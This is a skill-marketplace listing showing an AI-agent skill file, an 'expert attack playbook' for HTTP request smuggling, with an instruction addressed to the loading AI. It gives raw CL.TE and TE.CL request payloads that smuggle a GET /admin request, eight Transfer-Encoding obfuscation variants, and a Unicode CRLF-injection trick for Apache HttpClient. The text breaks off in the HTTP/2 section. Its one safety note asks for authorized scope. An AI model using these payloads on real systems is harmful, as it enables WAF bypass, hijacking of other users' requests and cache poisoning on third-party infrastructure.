- Skill ID
- yaklang/hack-skills/request-smuggling
- Publisher
- yaklang
- Repository
- hack-skills
- Installs
- 0
- Files
- 2
- Synced
- Sep 23, 2026
Open any RiverX project, open the Skills panel in the chat, and search for this identifier. The files are fetched from the source repository at install time.
yaklang/hack-skills/request-smugglingInstalls these files- H2_SMUGGLING_VARIANTS.md
- SKILL.md
What this skill tells the agent
SKILL: HTTP Request Smuggling — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser fetch pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is message boundary disagreement between hops.Routing note: load this skill when you suspect CDN/reverse-proxy and origin disagree on request-end boundaries, or when abnormal concatenation appears during H2-to-H1 downgrade.
0. RELATED ROUTING
- ghost-bits-cast-attack when the HTTP client library is Apache HttpClient <= 4.5.9 (HTTPCLIENT-1974/1978) — injecting
瘍瘊(U+760D U+760A, low bytes\r\n) into a header value causes the underlying char-to-byte writer to emit a literal CRLF, splitting the request at the origin without relying on CL/TE disagreement
1. QUICK START
CL.TE first probe (front-end trusts CL, back-end trusts chunked)
Assumption: front end prioritizes Content-Length, back end prioritizes Transfer-Encoding: chunked. Use a very short CL so the front end accepts a fake end, while the back end continues chunk parsing and leaves remaining bytes for the next request.
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED- Front end reads only 13 bytes based on
Content-Length: 13(that is,0\r\n\r\nSMUGGLED, 13 bytes total) and considers the request complete. - Back end parses as chunked: after the
0end chunk, it treats `SMUGGLED` and onward as the start byte stream of the next request.
TE.CL first probe (front-end trusts chunked, back-end trusts CL)
Assumption: front end parses chunked and back end only reads Content-Length. Set CL equal to the number of bytes in the chunk-length line (commonly 4: two hex characters + \r\n), so the back end consumes only the length line and leaves the rest buffered for follow-up request splicing.
Embed a second request in the chunk (all line endings are CRLF; 35 hex chunk length = 53 bytes):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
On the wire, the chunk body must be exactly 53 bytes; if you change path/headers, recalculate chunk length and update the hex length line accordingly.
Safety note
Test only within authorized scope; concurrent smuggling can poison connection pools, corrupt caches, or impact other tenants. Prefer isolated environments or low-traffic windows.
1. CORE CONCEPT
Definition: two (or more) HTTP processing entities disagree on where request one ends and request two begins in the same TCP/TLS stream, allowing an attacker to include a partial or full second request inside one logical request.
Client Front (proxy/WAF) Back (origin)
| | |
|==== Request A+B ===>| |
| | parses boundary #1 | parses boundary #2
| | \ | /
| | different split points
| | |
v v v
Request A (seen) Request A' + smuggled BDifference from CRLF injection: CRLF usually injects into responses or header lines; smuggling targets implementation differences in RFC 7230 message framing (Content-Length / chunked).
High-value impact: WAF rule bypass (smuggled body not visible in front-end request), hijacking other users' requests on shared-origin connections (queue poisoning), cache-poisoning assistance, and authentication-boundary confusion.
2. CL.TE VULNERABILITIES
Pattern: front end trusts `Content-Length`; back end trusts `Transfer-Encoding: chunked`.
Exact example (same as §0): Content-Length: 13 and Transfer-Encoding: chunked both exist, body is:
0\r\n\r\nSMUGGLEDByte count: 0 + \r\n + \r\n + SMUGGLED = 13.
Back-end perspective: the chunked stream ends at 0\r\n\r\n; if SMUGGLED starts with METHOD SP or another valid request prefix, it becomes a smuggled request-line prefix.
Tuning: if the target is sensitive to duplicate headers, casing, or spaces, minimally adjust Transfer-Encoding variants (see §4) while preserving semantics to match a combo where front end ignores TE and back end executes TE.
3. TE.CL VULNERABILITIES
Pattern: front end parses chunked; back end only reads `Content-Length` (or too-short CL).
Intent: front end treats the whole malicious byte stream as body; back end reads only CL length, leaving remaining bytes buffered to splice with later legitimate requests.
Full TE.CL with embedded second request (same family as §0; Content-Length: 4 + first chunk-length line 35\r\n):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
Explanation:
- Back end (CL): reads only 4 bytes from the message body start ->
35\r\n, marks body complete, and leaves the remaining bytes in the TCP read buffer. - Front end (TE): parses full stream as chunked and forwards/consumes
GET /admin...as body content of the already-closed first request (product-dependent); mismatch with back-end boundary interpretation forms TE.CL.
For longer smuggling (e.g., POST + Content-Length: 11 + x=1), chunk length is about 76 (hex 0x76 = 118 bytes); Content-Length: 4 can still pin the back end to reading only the length line.
Practical notes: chunk length must be valid hex; second request must meet target expectations for Host, path, and session cookie; timing window and connection-reuse strategy determine whether you hit another user's request.
4. TE.TE VULNERABILITIES
Pattern: both front and back claim to process Transfer-Encoding, but differ on which TE value is effective or valid -> still producing equivalent desync where one side sees chunked and the other does not.
Use the following 8 obfuscation variants to probe parser differentials (single-line display; \t means a real TAB):
Transfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunked
Transfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[TAB]chunked(Replace [TAB] with real \x09.)
Transfer-Encoding: chunked(One leading space at line start.)
X: X
Transfer-Encoding: chunked(Previous line value is X and next line starts with Transfer-Encoding: this uses line continuation / lenient header parsing so one hop may merge or split lines incorrectly; separator between X and Transfer-Encoding may be \n or \r\n depending on the target stack.)
Transfer-Encoding
: chunked(Field name and colon are on different physical lines; some parsers still treat it as valid Transfer-Encoding: chunked.)
Strategy: for each (front, back) pair, enumerate which side accepts each variant as chunked, then map to equivalent CL.TE or TE.CL using §2/§3.
5. HTTP/2 REQUEST SMUGGLING
H2 -> H1 Downgrade
Common scenario: edge supports HTTP/2 and origin uses HTTP/1.1. If implementation does not strictly normalize header fields and body boundaries, you may observe:
- incorrect pseudo-header to regular-header mapping order;
More from yaklang
Use this skill in a project
Open any RiverX project, search the Skills panel for yaklang/hack-skills/request-smuggling, and install it in one click.
